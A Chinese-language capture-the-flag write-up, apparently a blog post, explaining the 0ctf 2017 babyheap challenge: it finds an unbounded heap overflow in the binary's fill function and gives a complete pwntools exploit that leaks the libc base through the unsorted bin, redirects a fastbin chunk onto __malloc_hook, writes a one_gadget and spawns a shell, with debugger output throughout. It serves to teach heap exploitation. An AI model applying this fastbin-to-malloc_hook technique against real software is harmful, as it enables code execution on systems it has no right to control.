0ctf2017-babypwn

前言

本片文章从0ctf2017-babyheap这一道pwn题目入手,讲解pwn堆中的一些利用手法

题目链接

分析程序

首先检查程序保护,所有的保护措施都是开启的,这意味着我们想要改写程序流程考虑从malloc_hookfree_hook入手

[*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

sed -i s/alarm/isnan/g ./0ctfbabyheap命令除去alarm函数,初步运行程序,有以下几个功能:

  1. 申请chunk
  2. 填充chunk
  3. 销毁chunk
  4. 输出chunk
  5. 退出程序
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 

漏洞点存在于申请chunk和填充chunk部分,我们着重对这两个地方进行分析

申请chunk

IDA中反汇编如下,这里使用了calloc函数,相当于malloc + memset

void __fastcall alloc(__int64 heap)
{
  int index; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( index = 0; index <= 15; ++index )
  {
    if ( !*(_DWORD *)(24LL * index + heap) )
    {
      printf("Size: ");
      v2 = input_();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * index + heap) = 1;
        *(_QWORD *)(heap + 24LL * index + 8) = v2;
        *(_QWORD *)(heap + 24LL * index + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)index);
      }
      return;
    }
  }
}

反汇编中我们可以分析heap结构体大致如下

struct heap
{
    signed int flag;    //标记是否被分配
    signed int size;    //请求申请的大小
    void* chunk_m;      //chunk的mem值
}

填充chunk

IDA反汇编如下,需要注意的是,这里并没有对填充的大小进行限制,也就意味着我们可以堆溢出控制下面的chunk

__int64 __fastcall fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input_();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = input_();
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

Exploit

这里先放exp,然后逐步进行调试讲解,我们的利用可以分为两步,第一步是泄露libc基地址,第二步是getshell

from pwn import *

r = process('./0ctfbabyheap')
elf =ELF('./0ctfbabyheap')

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
    gdb.attach(r)

def malloc(size):
    r.recvuntil('Command: ')
    r.sendline('1')
    r.recvuntil('Size: ')
    r.sendline(str(size))

def free(idx):
    r.recvuntil('Command: ')
    r.sendline('3')
    r.recvuntil('Index: ')
    r.sendline(str(idx))
    
def fill(idx,content):
    r.recvuntil('Command: ')
    r.sendline('2')
    r.recvuntil('Index: ')
    r.sendline(str(idx))
    r.recvuntil('Size: ')
    r.sendline(str(len(content)))
    r.recvuntil('Content: ')
    r.send(content)

def dump(idx):
    r.recvuntil('Command: ')
    r.sendline('4')
    r.recvuntil('Index: ')
    r.sendline(str(idx))
    r.recvline()
    return r.recvline()

malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk

free(1) # fastbin <- chunk1
free(2) # fastbin <- chunk2 <- chunk1

fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))

fill(3,p64(0)*3+p64(0x21))

malloc(0x10)
malloc(0x10)

fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))

fake_chunk = libc_base + 0x399acd
success("fake chunk:"+hex(fake_chunk))
malloc(0x60)
free(4)

fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk

malloc(0x60)
malloc(0x60) # malloc fake chunk

# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

r.interactive()

泄露libc地址

这里我们是通过small chunk的机制泄露libc地址,当small chunk被释放之后,会进入unsorted bin中,它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),通过这个地址可以获得main_arena的地址,然后计算libc基地址,首先我们创建如下几个chunk

code:
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021
0x55c448092050:	0x0000000000000000	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091
0x55c448092090:	0x0000000000000000	0x0000000000000000
pwndbg> x/20gx 0x361e77c925a0 => heap struct
0x361e77c925a0:	0x0000000000000001	0x0000000000000010
0x361e77c925b0:	0x000055c448092010	0x0000000000000001
0x361e77c925c0:	0x0000000000000010	0x000055c448092030
0x361e77c925d0:	0x0000000000000001	0x0000000000000010
0x361e77c925e0:	0x000055c448092050	0x0000000000000001
0x361e77c925f0:	0x0000000000000010	0x000055c448092070
0x361e77c92600:	0x0000000000000001	0x0000000000000080
0x361e77c92610:	0x000055c448092090	0x0000000000000000
0x361e77c92620:	0x0000000000000000	0x0000000000000000
0x361e77c92630:	0x0000000000000000	0x0000000000000000

释放两个fast chunk,将第二个指向第一个

code:
free(1)
free(2)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021 => 0
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021 => 1 free
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021 => 2 free
0x55c448092050:	0x000055c448092020	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021 => 3
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091 => 4
0x55c448092090:	0x0000000000000000	0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0:	0x0000000000000001	0x0000000000000010
0x361e77c925b0:	0x000055c448092010	0x0000000000000000
0x361e77c925c0:	0x0000000000000000	0x0000000000000000
0x361e77c925d0:	0x0000000000000000	0x0000000000000000
0x361e77c925e0:	0x0000000000000000	0x0000000000000001
0x361e77c925f0:	0x0000000000000010	0x000055c448092070
0x361e77c92600:	0x0000000000000001	0x0000000000000080
0x361e77c92610:	0x000055c448092090	0x0000000000000000
0x361e77c92620:	0x0000000000000000	0x0000000000000000
0x361e77c92630:	0x0000000000000000	0x0000000000000000

这里我们通过 fill 函数修改第0个chunk之后的内容,因为没有限制,所以我们可以修改到2处的指针,让其指向chunk4,因为chunk4是small bin,被链入到了fast bin中会有size的检查,所以我们这里需要将chunk4处的size改为0x20过size的检测

code:
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021 free
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021 free
0x55c448092050:	0x000055c448092080	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091
0x55c448092090:	0x0000000000000000	0x0000000000000000
code:
fill(3,p64(0)*3+p64(0x21))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021
0x55c448092050:	0x000055c448092080	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000021
0x55c448092090:	0x0000000000000000	0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

然后我们申请这两个地方的fastbin就可以让index 2的堆块的地址和index 4堆块的地址一样,等index 4被free后,这里就是fd 字段,之后便能通过dump index 2来泄漏index 4的fd内容,括号中括起来的即是heap结构体中指向的同一地址

code:
malloc(0x10)
malloc(0x10)
debugger:
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0:	0x0000000000000001	0x0000000000000010
0x361e77c925b0:	0x000055c448092010	0x0000000000000001
0x361e77c925c0:	0x0000000000000010	0x000055c448092050
0x361e77c925d0:	0x0000000000000001	0x0000000000000010
0x361e77c925e0:	(0x000055c448092090)	0x0000000000000001
0x361e77c925f0:	0x0000000000000010	0x000055c448092070
0x361e77c92600:	0x0000000000000001	0x0000000000000080
0x361e77c92610:	(0x000055c448092090)	0x0000000000000000
0x361e77c92620:	0x0000000000000000	0x0000000000000000
0x361e77c92630:	0x0000000000000000	0x0000000000000000

我们再将其改为原来的大小,申请释放即可泄露出fd指向的地址

code:
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021
0x55c448092050:	0x0000000000000000	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091
0x55c448092090:	0x00007f9c3ed6db58	0x00007f9c3ed6db58
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c448092080 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c448092080
smallbins
empty
largebins
empty

这个地址是main_arena+88,我们将其减去0x58得到main_arena的地址,然后根据自己系统libc版本减去相应的偏移获得libc的基地址

code:
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
debugger:
pwndbg> vmmap
[...]
    0x7f9c3e9d4000     0x7f9c3eb69000 r-xp   195000 0      /usr/lib/x86_64-linux-gnu/libc-2.24.so
[...]
pwndbg> p/x 0x7f9c3ed6db00-0x7f9c3e9d4000
$2 = 0x399b00

getshell

我们这里考虑的是使用malloc_hook函数来getshell,当调用 malloc 时,如果 malloc_hook 不为空则调用指向的这个函数,所以这里我们传入一个 one-gadget 即可,首先我们需要找到一个fake chunk,我们将其申请到然后将 one-gadget 写入,它的size选择在0x10~0x80之间即可,这里选择的是mallc_hook上面一排的地方,为了使我们的user data刚好能够写到malloc_hook的位置

pwndbg> x/20gx 0x7f9c3e9d4000+0x399acd
0x7f9c3ed6dacd <_IO_wide_data_0+301>:	0x9c3ed69f00000000	0x000000000000007f
0x7f9c3ed6dadd:	0x9c3ea50420000000	0x9c3ea503c000007f
0x7f9c3ed6daed <__realloc_hook+5>:	0x000000000000007f	0x0000000000000000
0x7f9c3ed6dafd:	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db0d :	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db1d :	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db2d :	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db3d :	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db4d :	0x0000000000000000	0xc4480921a0000000
0x7f9c3ed6db5d :	0x0000000000000055	0xc448092080000000

利用fast bin机制进行如下构造,我们需要申请到fake_chunk的位置

code:
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
debugger:
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55c448092080 —▸ 0x7f9c3ed6dacd (_IO_wide_data_0+301) ◂— 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

继续malloc两次即可申请到fake chunk的地方,就可以对malloc_hook进行写入

code:
malloc(0x60)
malloc(0x60) # malloc fake chunk
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

最后我们构造fake chunk,写入one_gadget即可,这里根据自己的libc版本查询相应的one_gadget

# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

最后getshell

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x2f bytes:
    '0ctfbabyheap  core  exp.py  libc.so.6\n'
0ctfbabyheap  core  exp.py  libc.so.6
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x8 bytes:
    'thunder\n'
thunder

后记

这道题目因为可以自己构造堆的结构,所以比较自由,利用的方法也非常多,我的exp是针对我的deepin环境,想要在不同平台进行利用,需要查看自己libc中的偏移,修改部分偏移即可,好久没在csdn上写东西了,大多数都在博客中更新的,今天心血来潮跟新一下吧~

你可能感兴趣的:(pwn,题目篇)